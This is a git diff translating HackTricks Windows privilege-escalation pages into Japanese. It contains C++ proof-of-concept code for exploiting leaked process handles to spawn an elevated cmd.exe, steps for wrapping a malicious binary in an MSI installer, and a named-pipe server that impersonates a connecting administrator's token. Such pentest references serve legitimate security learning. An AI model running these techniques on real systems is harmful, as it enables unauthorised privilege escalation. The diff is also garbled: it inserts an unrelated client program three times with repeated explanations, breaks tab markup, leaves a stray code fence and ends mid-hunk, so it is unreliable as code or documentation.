return 0; +InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); +UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL); + +si.StartupInfo.cb = sizeof(STARTUPINFOEXA); + +// Spawn elevated cmd process +ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, +EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi ); + +if (ret == FALSE) { +printf("[!] Error spawning new process: [%d]\n", GetLastError()); +return -1; +} +} + +Sleep(20000); +return 0; } ``` - -## Other tools and examples +## その他のツールと例 * [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder) -This tool allows you to monitor leaked handles to find vulnerable ones and even auto-exploit them. It also has a tool to leak one. +このツールは、漏洩したハンドルを監視して脆弱なハンドルを見つけ、自動的にエクスプロイトすることができます。また、ハンドルを漏洩させるためのツールもあります。 * [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles) -Another tool to leak a handle and exploit it. +ハンドルを漏洩させ、それをエクスプロイトするための別のツールです。 -## References +## 参考文献 * [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) * [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder) @@ -711,14 +705,14 @@ Another tool to leak a handle and exploit it. ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**または**Telegramグループ**に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。 diff --git a/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md b/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md index b62aaad63..18ef6ff5c 100644 --- a/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md +++ b/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md @@ -1,23 +1,23 @@ -# MSI Wrapper +# MSIラッパー
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-Download the free version app from [https://www.exemsi.com/documentation/getting-started/](https://www.exemsi.com/download/), execute it and wrap the "malicious" binary on it.\ -Note that you can wrap a "**.bat**" if you **just** want to **execute** **command lines (instead of cmd.exe select the .bat file)** +無料のバージョンのアプリを[https://www.exemsi.com/documentation/getting-started/](https://www.exemsi.com/download/)からダウンロードし、実行して「悪意のある」バイナリをラップします。\ +注意:**コマンドラインを実行するだけの場合は、".bat"**をラップすることもできます(cmd.exeの代わりに.batファイルを選択します) ![](<../../.gitbook/assets/image (304) (1).png>) -And this is the most important part of the configuration: +そして、設定の最も重要な部分は次のとおりです: ![](<../../.gitbook/assets/image (305).png>) @@ -25,18 +25,18 @@ And this is the most important part of the configuration: ![](<../../.gitbook/assets/image (310).png>) -(Please, note that if you try to pack your own binary you will be able to modify these values) +(自分自身のバイナリをパックしようとする場合、これらの値を変更できることに注意してください) -From here just click on **next buttons** and the last **build button and your installer/wrapper will be generated.** +ここからは、単に**次のボタン**をクリックし、最後の**ビルドボタン**をクリックするだけで、インストーラ/ラッパーが生成されます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index f2a572bf4..ef074ef8b 100644 --- a/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -1,37 +1,37 @@ -# Named Pipe Client Impersonation +# 名前付きパイプクライアントのなりすまし -## Named Pipe Client Impersonation +## 名前付きパイプクライアントのなりすまし
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-**This information was copied from** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) +**この情報は** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) **からコピーされました** -## Overview +## 概要 -A `pipe` is a block of shared memory that processes can use for communication and data exchange. +`パイプ`は、プロセスが通信とデータ交換に使用できる共有メモリのブロックです。 -`Named Pipes` is a Windows mechanism that enables two unrelated processes to exchange data between themselves, even if the processes are located on two different networks. It's very simar to client/server architecture as notions such as `a named pipe server` and a named `pipe client` exist. +`名前付きパイプ`は、Windowsのメカニズムであり、関連性のない2つのプロセスがデータを交換できるようにします。プロセスが2つの異なるネットワーク上にある場合でも、クライアント/サーバーアーキテクチャのような概念である`名前付きパイプサーバー`と`名前付きパイプクライアント`が存在します。 -A named pipe server can open a named pipe with some predefined name and then a named pipe client can connect to that pipe via the known name. Once the connection is established, data exchange can begin. +名前付きパイプサーバーは、ある事前定義された名前を持つ名前付きパイプを開き、名前がわかっている場合に名前付きパイプクライアントがそのパイプに接続できます。接続が確立されると、データの交換が開始されます。 -This lab is concerned with a simple PoC code that allows: +このラボでは、次のことが可能な単一スレッドのダム名前付きパイプサーバーのPoCコードに関心があります。 -* creating a single-threaded dumb named pipe server that will accept one client connection -* named pipe server to write a simple message to the named pipe so that the pipe client can read it +* 1つのクライアント接続を受け入れる単一スレッドのダム名前付きパイプサーバーの作成 +* 名前付きパイプサーバーが名前付きパイプに簡単なメッセージを書き込み、パイプクライアントがそれを読むことができるようにする -## Code +## コード -Below is the PoC for both the server and the client: +以下は、サーバーとクライアントのためのPoCです: {% tabs %} {% tab title="namedPipeServer.cpp" %} @@ -41,35 +41,208 @@ Below is the PoC for both the server and the client: #include int main() { - LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe"; - LPVOID pipeBuffer = NULL; - HANDLE serverPipe; - DWORD readBytes = 0; - DWORD readBuffer = 0; - int err = 0; - BOOL isPipeConnected; - BOOL isPipeOpen; - wchar_t message[] = L"HELL"; - DWORD messageLenght = lstrlen(message) * 2; - DWORD bytesWritten = 0; +LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe"; +LPVOID pipeBuffer = NULL; +HANDLE serverPipe; +DWORD readBytes = 0; +DWORD readBuffer = 0; +int err = 0; +BOOL isPipeConnected; +BOOL isPipeOpen; +wchar_t message[] = L"HELL"; +DWORD messageLenght = lstrlen(message) * 2; +DWORD bytesWritten = 0; - std::wcout << "Creating named pipe " << pipeName << std::endl; - serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL); - - isPipeConnected = ConnectNamedPipe(serverPipe, NULL); - if (isPipeConnected) { - std::wcout << "Incoming connection to " << pipeName << std::endl; - } - - std::wcout << "Sending message: " << message << std::endl; - WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL); - - return 0; +std::wcout << "Creating named pipe " << pipeName << std::endl; +serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL); + +isPipeConnected = ConnectNamedPipe(serverPipe, NULL); +if (isPipeConnected) { +std::wcout << "Incoming connection to " << pipeName << std::endl; +} + +std::wcout << "Sending message: " << message << std::endl; +WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL); + +return 0; } ``` -{% endtab %} - {% tab title="namedPipeClient.cpp" %} + +```cpp +#include +#include + +#define PIPE_NAME L"\\\\.\\pipe\\MyNamedPipe" + +int main() +{ + HANDLE hPipe; + DWORD dwBytesRead; + char buffer[1024]; + + // Connect to the named pipe + hPipe = CreateFile(PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (hPipe == INVALID_HANDLE_VALUE) + { + printf("Failed to connect to the named pipe. Error code: %d\n", GetLastError()); + return 1; + } + + // Send a message to the server + const char* message = "Hello from the client!"; + if (!WriteFile(hPipe, message, strlen(message) + 1, &dwBytesRead, NULL)) + { + printf("Failed to send message to the server. Error code: %d\n", GetLastError()); + CloseHandle(hPipe); + return 1; + } + + // Read the response from the server + if (!ReadFile(hPipe, buffer, sizeof(buffer), &dwBytesRead, NULL)) + { + printf("Failed to read response from the server. Error code: %d\n", GetLastError()); + CloseHandle(hPipe); + return 1; + } + + printf("Response from the server: %s\n", buffer); + + // Close the named pipe + CloseHandle(hPipe); + + return 0; +} +``` + +このコードは、名前付きパイプサーバーに接続し、メッセージを送信して、サーバーからの応答を受け取るクライアントアプリケーションです。 + +まず、`CreateFile`関数を使用して、名前付きパイプに接続します。接続に失敗した場合は、エラーコードを表示して終了します。 + +次に、`WriteFile`関数を使用して、サーバーにメッセージを送信します。送信に失敗した場合は、エラーコードを表示して終了します。 + +最後に、`ReadFile`関数を使用して、サーバーからの応答を受け取ります。受信に失敗した場合は、エラーコードを表示して終了します。 + +最後に、名前付きパイプを閉じます。 + +このクライアントアプリケーションをビルドして実行すると、名前付きパイプサーバーに接続し、メッセージを送信して、サーバーからの応答を受け取ることができます。 + +```cpp +#include +#include + +#define PIPE_NAME L"\\\\.\\pipe\\MyNamedPipe" + +int main() +{ + HANDLE hPipe; + DWORD dwBytesRead; + char buffer[1024]; + + // 名前付きパイプに接続する + hPipe = CreateFile(PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (hPipe == INVALID_HANDLE_VALUE) + { + printf("名前付きパイプへの接続に失敗しました。エラーコード: %d\n", GetLastError()); + return 1; + } + + // サーバーにメッセージを送信する + const char* message = "クライアントからこんにちは!"; + if (!WriteFile(hPipe, message, strlen(message) + 1, &dwBytesRead, NULL)) + { + printf("サーバーへのメッセージの送信に失敗しました。エラーコード: %d\n", GetLastError()); + CloseHandle(hPipe); + return 1; + } + + // サーバーからの応答を読み取る + if (!ReadFile(hPipe, buffer, sizeof(buffer), &dwBytesRead, NULL)) + { + printf("サーバーからの応答の読み取りに失敗しました。エラーコード: %d\n", GetLastError()); + CloseHandle(hPipe); + return 1; + } + + printf("サーバーからの応答: %s\n", buffer); + + // 名前付きパイプを閉じる + CloseHandle(hPipe); + + return 0; +} +``` + +このコードは、名前付きパイプサーバーに接続し、メッセージを送信して、サーバーからの応答を受け取るクライアントアプリケーションです。 + +まず、`CreateFile`関数を使用して、名前付きパイプに接続します。接続に失敗した場合は、エラーコードを表示して終了します。 + +次に、`WriteFile`関数を使用して、サーバーにメッセージを送信します。送信に失敗した場合は、エラーコードを表示して終了します。 + +最後に、`ReadFile`関数を使用して、サーバーからの応答を受け取ります。受信に失敗した場合は、エラーコードを表示して終了します。 + +最後に、名前付きパイプを閉じます。 + +このクライアントアプリケーションをビルドして実行すると、名前付きパイプサーバーに接続し、メッセージを送信して、サーバーからの応答を受け取ることができます。 + +```cpp +#include +#include + +#define PIPE_NAME L"\\\\.\\pipe\\MyNamedPipe" + +int main() +{ + HANDLE hPipe; + DWORD dwBytesRead; + char buffer[1024]; + + // 名前付きパイプに接続する + hPipe = CreateFile(PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (hPipe == INVALID_HANDLE_VALUE) + { + printf("名前付きパイプへの接続に失敗しました。エラーコード: %d\n", GetLastError()); + return 1; + } + + // サーバーにメッセージを送信する + const char* message = "クライアントからこんにちは!"; + if (!WriteFile(hPipe, message, strlen(message) + 1, &dwBytesRead, NULL)) + { + printf("サーバーへのメッセージの送信に失敗しました。エラーコード: %d\n", GetLastError()); + CloseHandle(hPipe); + return 1; + } + + // サーバーからの応答を読み取る + if (!ReadFile(hPipe, buffer, sizeof(buffer), &dwBytesRead, NULL)) + { + printf("サーバーからの応答の読み取りに失敗しました。エラーコード: %d\n", GetLastError()); + CloseHandle(hPipe); + return 1; + } + + printf("サーバーからの応答: %s\n", buffer); + + // 名前付きパイプを閉じる + CloseHandle(hPipe); + + return 0; +} +``` + +このコードは、名前付きパイプサーバーに接続し、メッセージを送信して、サーバーからの応答を受け取るクライアントアプリケーションです。 + +まず、`CreateFile`関数を使用して、名前付きパイプに接続します。接続に失敗した場合は、エラーコードを表示して終了します。 + +次に、`WriteFile`関数を使用して、サーバーにメッセージを送信します。送信に失敗した場合は、エラーコードを表示して終了します。 + +最後に、`ReadFile`関数を使用して、サーバーからの応答を受け取ります。受信に失敗した場合は、エラーコードを表示して終了します。 + +最後に、名前付きパイプを閉じます。 + +このクライアントアプリケーションをビルドして実行すると、名前付きパイプサーバーに接続し、メッセージを送信して、サーバーからの応答を受け取ることができます。 +``` ```cpp #include "pch.h" #include @@ -79,111 +252,95 @@ const int MESSAGE_SIZE = 512; int main() { - LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe"; - HANDLE clientPipe = NULL; - BOOL isPipeRead = true; - wchar_t message[MESSAGE_SIZE] = { 0 }; - DWORD bytesRead = 0; +LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe"; +HANDLE clientPipe = NULL; +BOOL isPipeRead = true; +wchar_t message[MESSAGE_SIZE] = { 0 }; +DWORD bytesRead = 0; - std::wcout << "Connecting to " << pipeName << std::endl; - clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - - while (isPipeRead) { - isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL); - std::wcout << "Received message: " << message; - } +std::wcout << "Connecting to " << pipeName << std::endl; +clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - return 0; +while (isPipeRead) { +isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL); +std::wcout << "Received message: " << message; +} + +return 0; } ``` {% endtab %} {% endtabs %} -## Execution +## 実行 -Below shows the named pipe server and named pipe client working as expected: +以下は、名前付きパイプサーバーと名前付きパイプクライアントが正常に動作していることを示しています: ![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png>) -Worth nothing that the named pipes communication by default uses SMB protocol: +名前付きパイプの通信はデフォルトでSMBプロトコルを使用することに注意してください: ![](<../../.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png>) -Checking how the process maintains a handle to our named pipe `mantvydas-first-pipe`: +プロセスが私たちの名前付きパイプ `mantvydas-first-pipe` に対してハンドルを維持しているかどうかを確認します: ![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png>) -Similary, we can see the client having an open handle to the named pipe: +同様に、クライアントが名前付きパイプに対して開いたハンドルを確認することもできます: ![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png>) -We can even see our pipe with powershell: - +PowerShellでパイプを確認することもできます: ```csharp ((Get-ChildItem \\.\pipe\).name)[-1..-5] ``` - ![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (3).png>) -## Token Impersonation +## トークンの擬似化 {% hint style="info" %} -Note that in order to impersonate the token of the client process you need to have (the server process creating the pipe) the **`SeImpersonate`** token privilege +クライアントプロセスのトークンを擬似化するためには、(パイプを作成するサーバープロセスである)**`SeImpersonate`** トークン特権を持っている必要があります。 {% endhint %} -It is possible for the named pipe server to impersonate the named pipe client's security context by leveraging a `ImpersonateNamedPipeClient` API call which in turn changes the named pipe server's current thread's token with that of the named pipe client's token. - -We can update the the named pipe server's code like this to achieve the impersonation - note that modifications are seen in line 25 and below: +名前付きパイプサーバーは、`ImpersonateNamedPipeClient` API呼び出しを利用して、名前付きパイプクライアントのセキュリティコンテキストを擬似化することができます。これにより、名前付きパイプサーバーの現在のスレッドのトークンが名前付きパイプクライアントのトークンに変更されます。 +以下のように、名前付きパイプサーバーのコードを更新して擬似化を実現することができます。変更点は、25行目以降で確認できます。 ```cpp int main() { - LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe"; - LPVOID pipeBuffer = NULL; - HANDLE serverPipe; - DWORD readBytes = 0; - DWORD readBuffer = 0; - int err = 0; - BOOL isPipeConnected; - BOOL isPipeOpen; - wchar_t message[] = L"HELL"; - DWORD messageLenght = lstrlen(message) * 2; - DWORD bytesWritten = 0; +LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe"; +LPVOID pipeBuffer = NULL; +HANDLE serverPipe; +DWORD readBytes = 0; +DWORD readBuffer = 0; +int err = 0; +BOOL isPipeConnected; +BOOL isPipeOpen; +wchar_t message[] = L"HELL"; +DWORD messageLenght = lstrlen(message) * 2; +DWORD bytesWritten = 0; - std::wcout << "Creating named pipe " << pipeName << std::endl; - serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL); - - isPipeConnected = ConnectNamedPipe(serverPipe, NULL); - if (isPipeConnected) { - std::wcout << "Incoming connection to " << pipeName << std::endl; - } - - std::wcout << "Sending message: " << message << std::endl; - WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL); - - std::wcout << "Impersonating the client..." << std::endl; - ImpersonateNamedPipeClient(serverPipe); - err = GetLastError(); +std::wcout << "Creating named pipe " << pipeName << std::endl; +serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL); - STARTUPINFO si = {}; - wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe"; - PROCESS_INFORMATION pi = {}; - HANDLE threadToken = GetCurrentThreadToken(); - CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); +isPipeConnected = ConnectNamedPipe(serverPipe, NULL); +if (isPipeConnected) { +std::wcout << "Incoming connection to " << pipeName << std::endl; +} - return 0; +std::wcout << "Sending message: " << message << std::endl; +WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL); + +std::wcout << "Impersonating the client..." << std::endl; +ImpersonateNamedPipeClient(serverPipe); +err = GetLastError(); + +STARTUPINFO si = {}; +wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe"; +PROCESS_INFORMATION pi = {}; +HANDLE threadToken = GetCurrentThreadToken(); +CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); + +return 0; } ``` - -Running the server and connecting to it with the client that is running under administrator@offense.local security context, we can see that the main thread of the named server pipe assumed the token of the named pipe client - offense\administrator, although the PipeServer.exe itself is running under ws01\mantvydas security context. Sounds like a good way to escalate privileges? - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+サーバーを実行し、管理者@offense.localセキュリティコンテキストで実行されているクライアントに接続すると、名前付きサーバーパイプのメインスレッドが名前付きパイプクライアント(offense\administrator)のトークンを仮定していることがわかります。ただし、PipeServer.exe自体はws01\mantvydasセキュリティコンテキストで実行されています。特権をエスカレーションするための良い方法のようですね? diff --git a/windows-hardening/windows-local-privilege-escalation/powerup.md b/windows-hardening/windows-local-privilege-escalation/powerup.md index ec60dce60..def219ed3 100644 --- a/windows-hardening/windows-local-privilege-escalation/powerup.md +++ b/windows-hardening/windows-local-privilege-escalation/powerup.md @@ -1,48 +1,44 @@ - -
